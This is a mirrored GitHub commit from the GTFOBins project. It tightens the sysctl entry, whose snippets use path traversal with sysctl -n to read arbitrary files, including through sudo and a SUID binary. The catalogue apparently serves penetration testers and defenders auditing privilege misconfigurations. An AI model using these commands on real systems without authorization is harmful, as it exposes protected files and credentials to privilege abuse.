mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Fix and polish sysctl
This commit is contained in:
parent
8ab57da5c7
commit
a8cdd4728d
@ -1,16 +1,16 @@
|
||||
---
|
||||
description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
|
||||
functions:
|
||||
file-read:
|
||||
- description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n.
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sysctl -n "/../../../../../$LFILE"
|
||||
/usr/sbin/sysctl -n "/../../$LFILE"
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./sysctl -n "/../../../../../$LFILE"
|
||||
./sysctl -n "/../../$LFILE"
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo sysctl -n "/../../../../../$LFILE"
|
||||
sudo sysctl -n "/../../$LFILE"
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user